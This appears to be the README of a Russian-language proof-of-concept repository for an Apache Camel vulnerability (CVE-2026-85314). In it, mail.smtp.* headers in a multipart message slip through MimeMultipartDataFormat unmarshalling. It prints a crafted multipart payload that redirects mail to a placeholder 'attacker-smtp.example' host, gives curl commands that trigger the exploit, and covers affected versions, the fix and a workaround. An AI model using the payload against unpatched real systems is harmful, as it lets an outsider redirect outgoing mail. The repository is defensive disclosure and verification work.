
Рабочий воспроизводитель proof-of-concept для CVE-2026-85314, демонстрирующий инъекцию заголовков mail.smtp в MimeMultipart из camel-mail в Camel Spring Boot и Camel Quarkus, с исправленными контрольными вариантами.
MimeMultipart (mail.smtp*)Запускаемый воспроизводитель proof-of-concept для уязвимости Apache Camel, в которой формат данных MimeMultipart компонента camel-mail отображал заголовки сообщения на Exchange при демаршалинге с использованием обычной DefaultHeaderFilterStrategy, которая не удаляет пространство имён mail.smtp. / mail.smtps.. CVE-2026-46584 закрыла путь, по которому почтовые заголовки попадали в Exchange без фильтрации, но этот формат данных сохранил нефильтрованный путь: эти имена заголовков не несут префикса Camel (поэтому фильтр заголовков потребителя их также не блокирует), а пространство имён mail.smtp управляет тем, как нижестоящий почтовый producer подключается и отправляет сообщения. Внешний отправитель multipart-сообщения мог таким образом внедрить свойства сессии JavaMail и перенаправить почтовое соединение (CWE-20). Это неполное исправление CVE-2026-46584, а не новый класс дефектов.
| Среда выполнения | Каталог | Стек |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-mail 4.22.0 (уязвим; исправлено в 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-mail (Camel 4.22.0, уязвим; исправленный контроль CQ 3.40.0 / Camel 4.22.1) |
Оба модуля демонстрируют уязвимое и исправленное поведение на реальном MimeMultipartDataFormat.
Драйвер выполняет демаршалинг контролируемого злоумышленником multipart-сообщения (режим inline-headers, повторяющий собственный MimeMultipartDataFormatTest из исправления), которое несёт свойства сессии JavaMail в виде MIME-заголовков, а затем сообщает, какие из них попали в Exchange:
mail.smtp.host: attacker-smtp.example
mail.smtp.port: 2525
mail.smtps.auth: false
X-Normal: keep-me <- an unrelated header, should always survive
Content-Type: text/plain
Body text
mail.smtp.host, mail.smtp.port, mail.smtps.auth сохраняются после демаршалинга и становятся заголовками Exchange — нижестоящий производитель почты прочитал бы их, поэтому отправитель перенаправляет, куда отправляется почта.mail.smtp.* отфильтровывается при демаршалинге (через MailHeaderFilterStrategy), при этом не связанный с ним заголовок X-Normal сохраняется.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: mail.smtp* injected = true; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85314-mail-mime-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): mail.smtp* injected = true
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false
| Свойство | Значение |
|---|---|
| Компонент | camel-mail (MimeMultipartDataFormat, unmarshal) |
| CWE | CWE-20 (Некорректная проверка входных данных) |
| Уровень серьёзности | MEDIUM |
| Вектор атаки | Многочастное сообщение внешнего отправителя содержит MIME-заголовки mail.smtp.*; при демаршалинге они отображаются на Exchange |
| Воздействие | Внедрённые свойства сессии JavaMail управляют тем, как и куда подключается и отправляет сообщения нижестоящий почтовый продюсер |
| Затронутые версии | С 4.0.0 до 4.18.5, с 4.19.0 до 4.22.1 |
| Исправленные версии | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24419 |
| Связанное | Неполное исправление CVE-2026-46584 |
| Благодарность | Claude Security Scan Tool |
Рекомендация: https://camel.apache.org/security/CVE-2026-85314.html
Затронутый модуль Quarkus основан на CQ 3.39.0 (Camel 4.22.0). Исправленный элемент управления — CQ 3.40.0 (Camel 4.22.1).
MimeMultipartDataFormat теперь использует MailHeaderFilterStrategy вместо
DefaultHeaderFilterStrategy, поэтому пространство имён mail.smtp. / mail.smtps. фильтруется при демаршалинге точно так же, как
почтовый потребитель фильтрует его на входящей стороне (CAMEL-23522) — закрывая путь, оставленный открытым в CVE-2026-46584.
Удалите пространство имён после формата данных с помощью removeHeaders("mail.smtp*") перед любым почтовым продюсером.
Этот репозиторий публикуется в образовательных и защитных целях: чтобы помочь пользователям Apache Camel понять
уязвимость, проверить, затронуты ли они, и убедиться, что обновление её устраняет. Многочастное сообщение является
безвредным внутрипроцессным образцом; attacker-smtp.example — это заполнитель, и никакие письма не отправляются. Не используйте этот материал
против систем, которыми вы не владеете и не управляете.